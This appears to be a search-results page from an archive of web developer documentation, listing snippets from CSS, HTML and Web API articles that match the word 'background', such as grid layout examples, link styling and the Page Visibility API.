...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p {
background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span {
background: red; border: 1px solid black; } .positioned { position: relative;
background: yellow; top: 30px; left: 30px; } cool, huh?
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p {
background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span {
background: red; border: 1px solid black; } .positioned { position: absolute;
background: yellow; top: 30px; left: 30px; } first of all, note that the gap where the positioned element should be in the document flow is no longer there — the first and third elements have closed together like it no longer ...
...And 9 more matches
Examples - Archive of obsolete content
have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {
background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
...c "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>example 1 - xhtml 1.0 strict as text/html</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- body { padding-top: 8em; } html { color: #fff;
background: #000 no-repeat fixed;} p {width: 30em; font-weight: bold;} --> </style> </head> <body> <h1>example 1 - xhtml 1.0 strict as text/html</h1> <p> this document is valid xhtml 1.0 strict served as <code>text/html</code>.
... </p> <p> note how the css rules for the
background are applied in netscape 7.x, mozilla, opera 7 and internet explorer 5.5+.
...And 8 more matches
Images in HTML - Learn web development
in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css
background images.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html.) objective: to learn how to embed simple images in html, annotate them with captions, and how html images relate to css
background images.
...you should use css
background images for decorative images, but if you must use html, add a blank alt="".
...And 8 more matches
Introduction to events - Learn web development
in the following example, we have a single <button>, which when pressed, makes the
background change to a random color: <button>change color</button> button { margin: 10px }; the javascript looks like so: const btn = document.queryselector('button'); function random(number) { return math.floor(math.random() * (number+1)); } btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.
backgroundcolor = rndco...
...we are listening for the click event firing, by setting the onclick event handler property to equal an anonymous function containing code that generates a random rgb color and sets the <body>
background-color equal to it.
...returning to the above example: const btn = document.queryselector('button'); btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.
backgroundcolor = rndcol; } the onclick property is the event handler property being used in this situation.
...And 8 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for au...
...to cause all created rows to be 100 pixels tall for example you would use: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows:...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four <br>this cell <br>has extra <br>content.
...And 8 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, yo...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } a simple question to ask yourself when deciding ...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> .wrapper { display: flex; align-items: flex-end; min-height: 200px; } .box1 { align-self: stretch; } .box2 { al...
...And 8 more matches
Introduction to CSS layout - Learn web development
flexbox example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> in addition to the above properties that can be applied to the flex container, there are properties that can be applied to the flex items.
... flexbox example 2 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } .wrapper > div { flex: 1; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> note: this has been a very short introduction to what is possible in flexbox, to find out more, see our flexbox article.
... grid example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; grid-gap: 10px; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> <div class="box6">...
...And 7 more matches
Styling links - Learn web development
outline for the text outline (an outline is similar to a border, the only difference being that border takes up space in the box and an outline doesn't; it just sits over the top of the
background).
... now let's add some more information to get this styled properly: body { width: 300px; margin: 0 auto; font-size: 1.2rem; font-family: sans-serif; } p { line-height: 1.4; } a { outline: none; text-decoration: none; padding: 2px 1px 0; } a:link { color: #265301; } a:visited { color: #437a16; } a:focus { border-bottom: 1px solid;
background: #bae498; } a:hover { border-bottom: 1px solid;
background: #cdfeaa; } a:active {
background: #265301; color: #cdfeaa; } we'll also provide some sample html to apply the css to: <p>there are several browsers available, such as <a href="#">mozilla firefox</a>, <a href="#">google chrome</a>, and <a href="#">microsoft edge</a>.</p> putting the two together gives us this result: so wh...
... the next two rules use a:focus and a:hover to set focused and hovered links to have different
background colors, plus an underline to make the link stand out even more.
...And 7 more matches
Timing element visibility with the Intersection Observer API - Web APIs
the basics we provide styles for the <body> and <main> elements to define the site's
background as well as the grid the various parts of the site will be placed in.
... body { font-family: "open sans", "arial", "helvetica", sans-serif;
background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto;
background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the
background color.
...its style looks like this: header { grid-column: 1 / -1; grid-row: 1;
background-color: aliceblue; } grid-row is set to 1, since we want the header to be placed in the top row of the site's grid.
...And 7 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
.wrapper { display: grid; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } all the direct children are now grid items.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 200px 200px 200px; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } the fr unit tracks can be defined using any length unit.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } in this next example, we create a definition with a 2fr track then two 1fr tracks.
...And 7 more matches
Video player styling basics - Developer guides
basic styling the html video and its controls are all contained within a <figure> element, which is given a maximum width and height (based on the dimensions of the video used) and centered within the page: figure { max-width:64rem; width:100%; max-height:30.875rem; height:100%; margin:1.25rem auto; padding:1.051%;
background-color:#666; } the video controls container itself also needs some styling so that it is set up the correct way: .controls { width:100%; height:8.0971659919028340080971659919028%; /* of figure's height */ position:relative; } the height of the .controls class is set to be (a very precise!) percentage of the enclosing <figure> element (this was worked out with experimentation based on t...
... each button has some basic styling: .controls button { border:none; cursor:pointer;
background:transparent;
background-size:contain;
background-repeat:no-repeat; } by default, all <button> elements have a border, so this is removed.
... since
background images will be used to display appropriate icons, the
background colour of the button is set to be transparent, non-repeated, and the element should fully contain the image.
...And 7 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
bgcolorobsolete since html5 a domstring specifying a color to apply to the
backgrounds of each of the row's cells.
...omitting the attribute or setting it to null in javascript causes the row's cells to inherit the row's parent element's
background color.
...to give a similar effect as the bgcolor attribute, use the css property
background-color.
...And 7 more matches
CSS3 - Archive of obsolete content
some modules, like selectors 4 or css borders and
backgrounds level 4 already have an editor's draft, though they haven't yet reached the first published working draft status.
... css
backgrounds and borders module level 3 candidate recommendation adds: support, on
backgrounds, for any type of <image>, and not only for uri() defined ones.
... support for multiple
background images.
...And 6 more matches
Theme changes in Firefox 2 - Archive of obsolete content
browser/search-bar-
background-mid.png new file; the
background for the middle part of the search bar.
... browser/search-bar-
background.png removed file.
... browser/search-provider-bkgnd-rtl.png new file; the
background drawn behind the search provider icon when it's located at the left end of the search bar.
...And 6 more matches
Styling lists - Learn web development
you are better off using the
background family of properties, which you've learned in the
backgrounds and borders article.
... in our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-left: 2rem; list-style-type: none; } ul li { padding-left: 2rem;
background-image: url(star.svg);
background-position: 0 0;
background-size: 1.6rem 1.6rem;
background-repeat: no-repeat; } here we've done the following: set the padding-left of the <ul> down from the default 40px to 20px, then set the same amount on the list items.
... this is so that overall the list items are still lined up with the order list items and the description list descriptions, but the list items have some padding for the
background images to sit inside.
...And 6 more matches
HTML table basics - Learn web development
note: styling columns like this is limited to a few properties: border,
background, width, and visibility.
... take the following simple example: <table> <tr> <th>data 1</th> <th style="
background-color: yellow">data 2</th> </tr> <tr> <td>calcutta</td> <td style="
background-color: yellow">orange</td> </tr> <tr> <td>robots</td> <td style="
background-color: yellow">jazz</td> </tr> </table> which gives us the following result: data 1 data 2 calcutta orange robots jazz this isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a class set on all three in a real project and specify the styling in a separate stylesheet).
...we could create the same effect as we see above by specifying our table as follows: <table> <colgroup> <col> <col style="
background-color: yellow"> </colgroup> <tr> <th>data 1</th> <th>data 2</th> </tr> <tr> <td>calcutta</td> <td>orange</td> </tr> <tr> <td>robots</td> <td>jazz</td> </tr> </table> effectively we are defining two "style columns", one specifying styling information for each column.
...And 6 more matches
Theme concepts
add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_frame": "<your_header_image>.<type>" }, "colors": { "frame": "#ffffff", "tab_
background_text": "#000" } } } where: "frame": is the heading area
background color for your theme.
... "tab_
background_text": the color of the text in the heading area.
...however, rather than creating a very wide image, a better approach is to use a narrower image with a transparent left edge so that it fades to the
background color.
...And 6 more matches
Multi-touch interaction - Web APIs
<style> div { margin: 0em; padding: 2em; } #target1 {
background: white; border: 1px solid black; } #target2 {
background: white; border: 1px solid black; } #target3 {
background: white; border: 1px solid black; } </style> global state to support multi-touch interaction, preserving a pointer's event state during various event phases is required.
... in this application, when a pointer is placed down on an element, the
background color of the element changes, depending on the number of active touch points the element has.
... see the update_
background function for more details about the color changes.
...And 6 more matches
Pinch zoom gestures - Web APIs
the pinch in (zoom out) gesture, which moves the two pointers toward each other, changes the target element's
background color to lightblue.
... the pinch out (zoom in) gesture, which moves the two pointers away from each other, changes the target element's
background color to pink.
... <style> div { margin: 0em; padding: 2em; } #target {
background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's event state during various event phases.
...And 6 more matches
Multi-touch interaction - Web APIs
<style> div { margin: 0em; padding: 2em; } #target1 {
background: white; border: 1px solid black; } #target2 {
background: white; border: 1px solid black; } #target3 {
background: white; border: 1px solid black; } #target4 {
background: white; border: 1px solid black; } </style> global state tpcache is used to cache touch points for processing outside of the event where they were fired.
...e coordinates var diff1 = math.abs(tpcache[point1].clientx - ev.targettouches[0].clientx); var diff2 = math.abs(tpcache[point2].clientx - ev.targettouches[1].clientx); // this threshold is device dependent as well as application specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.
background = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures.
... ev.preventdefault(); // cache the touch points for later processing of 2-touch pinch/zoom if (ev.targettouches.length == 2) { for (var i=0; i < ev.targettouches.length; i++) { tpcache.push(ev.targettouches[i]); } } if (logevents) log("touchstart", ev, true); update_
background(ev); } touch move handler the touchmove handler calls preventdefault() for the same reason mentioned above, and invokes the pinch/zoom handler.
...And 6 more matches
-moz-image-rect - CSS: Cascading Style Sheets
the -moz-image-rect value for css
background-image lets you use a portion of a larger image as a
background.
... description this property allows you to, for example, use different parts of one larger image as
backgrounds in different parts of your content.
...however, this can be used for any css
background.
...And 6 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
i can use the align-items property on the grid container, to align the items using one of the following values: auto normal start end center stretch baseline first baseline last baseline * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; align-it...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .item1 {...
...the first item in the example demonstrates this default alignment: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .item1 {...
...And 6 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> ...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class...
...And 6 more matches
conic-gradient() - CSS: Cascading Style Sheets
syntax /* a conic gradient rotated 45 degrees, starting blue and finishing red */ conic-gradient(from 45deg, blue, red); /* a a bluish purple box: the gradient goes from blue to red, but as only the bottom right quadrant is visible, as the center of the conic gradient is in at the top left corner */ conic-gradient(from 90deg at 0 0, blue, red); /* colorwheel */
background: conic-gradient( hsl(360, 100%, 50%), hsl(315, 100%, 50%), hsl(270, 100%, 50%), hsl(225, 100%, 50%), hsl(180, 100%, 50%), hsl(135, 100%, 50%), hsl(90, 100%, 50%), hsl(45, 100%, 50%), hsl(0, 100%, 50%) ); values <angle> preceded by the from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
... <position> using the same length, order and keyterm values as the
background-position property, the position defines center of the gradient.
...for this reason, conic-gradient() won't work on
background-color and other properties that use the <color> data type.
...And 6 more matches
<feComposite> - SVG: Scalable Vector Graphics
th="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the
background.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators.
... the first set wipes out the
background image by flooding with opaque white.
... the second set does not wipe out the
background, with the result that the
background sometimes shines through and is other cases is blended into itself (i.e., "double-counting").</desc> <filter id="overflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="
backgroundimage" operator="over" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="inflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="
backgroundimage" o...
...And 6 more matches
Styling a Tree - Archive of obsolete content
let's say we want a particular row to have a blue
background color.
...the following is the syntax that needs to be used: treechildren::-moz-tree-row(makeitblue) {
background-color: blue; } this style which has a complex selector is used to style the
background color of rows that have the 'makeitblue' property.
...this style rule means, inside a treechildren element, set the
background color to blue for all tree rows that have the 'makeitblue' property.
...And 5 more matches
Styling tables - Learn web development
start by adding the following css to your style.css file, again at the bottom: /* graphics and colors */ thead, tfoot {
background: url(leopardskin.jpg); color: white; text-shadow: 1px 1px 1px black; } thead th, tfoot th, tfoot td {
background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); border: 3px solid purple; } again, there's nothing specific to tables here, but it is worthwhile to note a few things.
... we've added a
background-image to the <thead> and <tfoot>, and changed the color of all the text inside the header and footer to white (and given it a text-shadow) so it is readable.
... you should always make sure your text contrasts well with your
background, so it is readable.
...And 5 more matches
CSS values and units - Learn web development
in the following example we have set the color of our heading using a keyword, and the
background using the rgb() function: h1 { color: black;
background-color: rgb(197,93,161); } a value in css is a way to define a collection of allowable sub-values.
...the same color values can be used everywhere in css, whether you are specifying text color,
background color, or whatever else.
... in the example below i have added a
background image to the containing block of our colored boxes.
...And 5 more matches
Grids - Learn web development
simple grid example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container > div { border-radius: 5px; padding: 10px;
background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> .container { display: grid; grid-template-columns: 200px 200px 200px; } flexible grids with the fr unit in addition to creating grids using lengths and percentage...
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; } .container > div { border-radius: 5px; padding: 10px;
background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the fr unit distributes available space, not all space.
... simple grid example with fr units body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { display: grid; grid-template-columns: 2fr 1fr 1fr; grid-gap: 20px; } .container > div { border-radius: 5px; padding: 10px;
background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> note: the *gap properties used to be prefixed by grid-, but this has been changed in the spec, as the intention is to make them usable in multiple layout ...
...And 5 more matches
Advanced form styling - Learn web development
interestingly, setting border/
background on the search field also fixes this problem, as it disables or "breaks" the aqua appearance too.
... for example, consider this simple test case: <span><input type="checkbox"></span> span { display: inline-block;
background: red; } input[type="checkbox"] { width: 100px; height: 100px; } different browsers handle this in many different, often ugly ways: browser rendering firefox 71 (macos) firefox 57 (windows 10) chrome 77 (macos), safari 13, opera chrome 63 (windows 10) internet explorer 11 (windows 10) edge 16 (wind...
...-contrast mode can override */ color: green; } input[type="checkbox"]::before { content: "✔"; position: absolute; font-size: 1.2em; right: -1px; top: -0.3em; visibility: hidden; } input[type="checkbox"]:checked::before { /* use `visibility` instead of `display` to avoid recalculating layout */ visibility: visible; } input[type="checkbox"]:disabled { border-color: black;
background: #ddd; color: gray; } you'll find more out about such pseudo-classes and more in the next article; the above ones do the following: :checked — the checkbox (or radio button) is in a checked state — the user has clicked/activated it.
...And 5 more matches
Index - Learn web development
for example, take the following line of content: 40 how the web works beginner, client, dns, http, ip, infrastructure, learn, server, tcp, l10n:priority this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the
background.
... 44 the web and web standards beginner, front-end, learn, web, web standards this article provides some useful
background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
...this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
...And 5 more matches
Multithreading in Necko
in the future, necko may be made thread safe to support changes to gecko that would put some other processing work on
background threads (eg.
...however, most necko protocols utilize
background threads.
...
background threads are used to manage all i/o operations (with the exception of few cases).
...And 5 more matches
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method changes the element being used as the css
background for a
background with a given
background element id.
... syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a
background image using the -moz-element css function.
... imageelement is the new element to use as the
background corresponding to that image element string.
...And 5 more matches
msAudioCategory - Web APIs
msaudiocategory specifies the purpose of the audio or video media, such as
background audio or alerts.
... syntax <audio controls="controls" msaudiocategory="
backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app.
... value description
background capable?
...And 5 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable chance that any given webpage is in the
background and thus not visible to the user.
...for example, if your web app is playing a video, it can pause the video when the user puts the tab into the
background, and resume playback when the user returns to the tab.
... policies in place to aid
background page performance separately from the page visibility api, user agents typically have a number of policies in place to mitigate the performance impact of
background or hidden tabs.
...And 5 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
timeouts in inactive tabs throttled to ≥ 1000ms to reduce the load (and associated battery usage) from
background tabs, timeouts are throttled to firing no more often than once per second (1,000 ms) in inactive tabs.
... firefox implements this behavior since version 5 (see bug 633421, the 1000ms constant can be tweaked through the dom.min_
background_timeout_value preference).
... firefox for android uses a timeout value of 15 minutes for
background tabs since bug 736602 in firefox 14, and
background tabs can also be unloaded entirely.
...And 5 more matches
Perceivable - Accessibility
decorative images should be implemented using css
background images (see
backgrounds).
... if you are including
background video or audio that autoplays, make it as unobtrusive as possible.
... guideline 1.4: make it easier for users to see and hear content including separating foreground from
background this guideline relates to making sure core content is easy to discern from
backgrounds and other decoration.
...And 5 more matches
Border-radius generator - CSS: Cascading Style Sheets
} /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer;
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right {
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px;
background-color: #2c9fc9; border-rad...
...ius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover {
background-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em;
background-color: #888;
background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
background-position: center center;
background-repeat: no-repeat; color: #fff; border-radius:...
... 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px;
background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em;
background-position: center right 10px; } .ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label {
background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: bo...
...And 5 more matches
color-adjust - CSS: Cascading Style Sheets
for example, when printing, a browser might opt to leave out all
background images and to adjust text colors to be sure the contrast is optimized for reading on white paper.
...for example, a page might include a list of information with rows whose
background colors alternate between white and a light grey.
... removing the
background color would decrease the legibility of the content.
...And 5 more matches
mix-blend-mode - CSS: Cascading Style Sheets
the mix-blend-mode css property sets how an element's content should blend with the content of the element's parent and the element's
background.
...cking contextyes formal syntax <blend-mode>where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity examples effect of different mix-blend-mode values <div class="grid"> <div class="col"> <div class="note">blending in isolation (no blending with the
background)</div> <div class="row isolate"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <defs> <lineargradient id="red"> <stop offset="0" stop-color="hsl(0,100%,50%)" /> <stop offset="100%" stop-...
...g viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> </div> <div class="note">blending globally (blend with the
background)</div> <div class="row"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse...
...And 5 more matches
transition-delay - CSS: Cascading Style Sheets
